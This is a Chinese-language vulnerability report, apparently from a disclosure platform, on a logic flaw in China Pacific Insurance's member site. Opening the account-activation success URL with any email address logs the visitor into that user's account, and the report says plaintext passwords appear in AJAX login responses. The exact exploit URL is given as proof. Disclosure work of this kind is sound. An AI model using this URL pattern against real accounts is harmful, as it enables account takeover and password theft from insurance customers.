太平洋保险逻辑缺陷导致秒进入任意用户帐号(可

（并非密码修改 漏洞 ，是直接进入任意帐号）（密码明文储存 不光可以进入帐号 还可以直接获取用户明文密码！！！）

引用七楼的话：据说怕给的rank太高引起注意被挖洞 你就不怕给得太低引起民愤导致被挖洞？

[安全是一个整体，保证安全不在于强大的地方有多强大 而在于真正薄弱的地方在哪里]--剑心

注册后激活邮件会跳转到一个激活成功的页面，然后自动跳转到了会员中心（登录状态）。

 

页面如下

 

 

http://member.cpic.com.cn/ucf/register/regActiveOk?theme=new&email=邮件地址&msg=activeSuccess

 

5秒后，就会自动跳转到会员中心。

 

这里存在一个逻辑缺陷

 

所以，要进入别人的帐户，只要知道他的邮件地址

 

比如，我注册了个帐号

 

就可以通过这个链接（打开后要等待自动跳转，不能手动点击）进入我的帐号：

 

 

http://member.cpic.com.cn/ucf/register/regActiveOk?theme=new&email=smtp_admin@yeah.net&msg=activeSuccess

漏洞证明：

http://member.cpic.com.cn/ucf/register/regActiveOk?theme=new&email=smtp_admin@yeah.net&msg=activeSuccess

 

 

 

在这个过程中 有好几次ajax发起登录请求

 

其中被一个请求亮瞎了！！！明文密码！！！！

 

 

 

修复方案： 修复下逻辑问题 

 

查看更多关于太平洋保险逻辑缺陷导致秒进入任意用户帐号(可的详细内容...